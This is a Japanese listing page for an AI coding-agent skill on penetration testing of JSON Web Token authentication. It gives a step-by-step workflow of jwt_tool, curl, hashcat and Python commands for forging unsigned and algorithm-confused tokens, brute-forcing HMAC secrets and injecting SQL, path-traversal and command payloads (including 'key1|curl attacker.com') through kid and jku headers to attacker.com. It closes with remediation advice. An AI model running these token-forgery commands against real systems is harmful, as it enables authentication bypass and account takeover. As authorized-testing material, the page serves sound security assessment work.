testing-for-json-web-token-vulnerabilities について
JWT の認証・認可実装を評価するセキュリティテストスキルです。一般的なトークンの弱点を扱い、許可を得たアプリケーションや API の評価手順を示します。
主な機能
- 01JWT 構造とクレームの確認
- 02署名なしトークン受け入れのテスト
- 03アルゴリズム混同の評価
- 04kid と鍵 URL インジェクションの確認
- 05弱い署名シークレットの解析
活用シーン
- 01JWT ベースのアプリログイン評価
- 02API 認可制御のテスト
- 03OAuth または OpenID Connect JWT の監査
- 04SSO トークンの安全性確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-json-web-token-vulnerabilitiesインストール後、Claude Code で/testing-for-json-web-token-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
JSON Web Token の脆弱性テスト
使用する場面
- 認証やセッション管理に JWT を使用するアプリケーションをテストするとき
- JWT が認可に使用されている API のセキュリティ評価を行うとき
- JWT を使用する OAuth 2.0 や OpenID Connect の実装を評価するとき
- シングルサインオン(SSO)システムのペネトレーションテストを行うとき
- 既知の脆弱性がないか、JWT ライブラリの設定を監査するとき
前提条件
- jwt_tool(Python 用 JWT エクスプロイトツールキット)
- JWT Editor 拡張機能を導入した Burp Suite
- JWT の構造をデコードして確認するための jwt.io
- JWT の構造(header.payload.signature)とアルゴリズム(HS256、RS256)の理解
- 脆弱な JWT シークレットを総当たりするための hashcat または john
- カスタム JWT 偽造スクリプト用の Python PyJWT ライブラリ
- JWT ベースの認証を使用するアプリケーションへのアクセス
法的通知: このスキルは、許可を得たセキュリティテストと教育目的にのみ使用してください。所有していない、またはテストの書面による許可を得ていないシステムに対して無許可で使用することは違法であり、コンピューター詐欺に関する法律に違反するおそれがあります。
ワークフロー
ステップ 1 — JWT の構造をデコードして分析する
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>
# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)
# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers
ステップ 2 — 「None」アルゴリズムによるバイパスをテストする
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a
# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)
# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
ステップ 3 — アルゴリズムの混同をテストする(RS256 から HS256)
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret
# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json
# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
ステップ 4 — Key ID(kid)パラメーターへのインジェクションをテストする
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
ステップ 5 — JKU/X5U ヘッダーへのインジェクションをテストする
# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s
# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json
# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i
ステップ 6 — 脆弱な JWT シークレットを総当たりする
# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name
# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
-I -pc role -pv admin -pc sub -pv "[email protected]"
主な概念
| 概念 | 説明 |
|---|---|
| アルゴリズムの混同 | 公開鍵をシークレットとして使用し、非対称方式(RS256)から対称方式(HS256)に切り替えること |
| None アルゴリズム | alg を「none」に設定し、設定に不備のあるサーバーが受け入れる署名なしトークンを作成すること |
| kid インジェクション | Key ID ヘッダーパラメーターを悪用し、SQLi、パストラバーサル、SSRF を行うこと |
| JKU/X5U インジェクション | 鍵の取得先 URL を攻撃者が管理するサーバーに指定し、鍵を差し替えること |
| 脆弱なシークレット | 辞書攻撃で総当たりできる HMAC シークレット |
| クレームの改ざん | 署名検証をバイパスした後に、ペイロードのクレーム(role、sub、admin)を変更すること |
| トークンのリプレイ | 本来のセッションの有効期限が切れた後も、有効な JWT を再利用すること |
ツールとシステム
| ツール | 用途 |
|---|---|
| jwt_tool | JWT の包括的なテストおよびエクスプロイト用ツールキット |
| JWT Editor(Burp) | JWT の操作と攻撃の自動化を行う Burp Suite 拡張機能 |
| hashcat | GPU による高速な JWT シークレットの総当たり(モード 16500) |
| john the ripper | CPU ベースの JWT シークレット解析 |
| jwt.io | JWT の確認に使用するオンラインデコーダーおよびデバッガー |
| PyJWT | プログラムによる JWT の作成と検証を行う Python ライブラリ |
よくあるシナリオ
- None アルゴリズムによるバイパス — JWT のアルゴリズムを「none」に変更して署名を削除し、署名なし JWT を受け入れるサーバーで管理者トークンを偽造する
- アルゴリズムの混同による RCE — 漏えいした公開鍵を使って RS256 から HS256 に切り替え、管理者アクセス用の任意のトークンを偽造する
- kid SQL インジェクション — kid パラメーターに SQL ペイロードを挿入し、データベースから署名鍵を抽出する
- 脆弱なシークレットの解析 — hashcat で HMAC-SHA256 シークレットを総当たりし、任意のユーザーの JWT を偽造する
- JKU サーバーのなりすまし — JKU ヘッダーを攻撃者が管理する JWKS エンドポイントに指定し、攻撃者の秘密鍵でトークンに署名する
出力形式
## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json
### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |
### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation
コメント
Markdown 対応